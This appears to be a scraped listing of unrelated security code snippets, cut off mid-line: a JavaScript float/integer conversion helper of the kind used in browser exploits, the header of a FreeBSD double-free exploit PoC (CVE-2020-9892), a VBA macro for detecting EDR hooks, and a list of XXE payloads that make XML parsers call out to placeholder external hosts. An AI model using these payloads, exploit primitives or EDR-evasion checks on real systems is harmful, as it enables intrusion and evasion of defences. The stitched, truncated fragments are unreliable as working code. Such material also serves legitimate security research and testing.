https://www.youtube.com/playlist?list=PLKK11Ligqitg9MOX3-0tFT1Rmh3uJp7kA
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class Helpers { | |
constructor() { | |
this.cvt_buf = new ArrayBuffer(8); | |
this.cvt_f64a = new Float64Array(this.cvt_buf); | |
this.cvt_u64a = new BigUint64Array(this.cvt_buf); | |
this.cvt_u32a = new Uint32Array(this.cvt_buf); | |
} | |
ftoi(f) { |
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/* | |
* IP6_EXTHDR_CHECK Double Free (CVE-2020-9892) Exploit PoC for FreeBSD 9.0 | |
* https://github.com/google/security-research/security/advisories/GHSA-gxcr-cw4q-9q78 | |
* - | |
* Bug credit: Andy Nguyen (@theflow0) | |
* Exploit credit: @SpecterDev, @tihmstar | |
* Thanks: @sleirsgoevy, @littlelailo, flatz (@flat_z), @balika011 | |
* - | |
* Build: gcc -o expl ip6_expl_poc.c -pthread | |
* - |
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Private Declare PtrSafe Function GetModuleHandleA Lib "KERNEL32" (ByVal lpModuleName As String) As LongPtr | |
Private Declare PtrSafe Function GetProcAddress Lib "KERNEL32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr | |
Private Declare PtrSafe Sub CopyMemory Lib "KERNEL32" Alias "RtlMoveMemory" (ByVal Destination As LongPtr, ByVal Source As LongPtr, ByVal Length As Long) | |
'VBA Macro that detects hooks made by EDRs | |
'PoC By Juan Manuel Fernandez (@TheXC3LL) based on a post from SpecterOps (https://posts.specterops.io/adventures-in-dynamic-evasion-1fe0bac57aa) | |
Public Function checkHook(ByVal target As String, hModule As LongPtr) As Integer | |
Dim address As LongPtr |
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<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x SYSTEM "http://xxe-doctype-system.yourdomain[.]com/"><x /> | |
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x PUBLIC "" "http://xxe-doctype-public.yourdomain[.]com/"><x /> | |
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY xxe SYSTEM "http://xxe-entity-system.yourdomain[.]com/">]><x>&xxe;</x> | |
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY xxe PUBLIC "" "http://xxe-entity-public.yourdomain[.]com/">]><x>&xxe;</x> | |
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY % xxe SYSTEM "http://xxe-paramentity-system.yourdomain[.]com/">%xxe;]><x/> | |
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY % xxe PUBLIC "" "http://xxe-paramentity-public.yourdomain[.]com/">%xxe;]><x/> | |
<?xml version="1.0" encoding="utf-8" standalone="no" ?><x xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xxe-xsi-schemalocation.y |
(draft; work in progress)
See also:
- Compilers
- Program analysis:
- Dynamic analysis - instrumentation, translation, sanitizers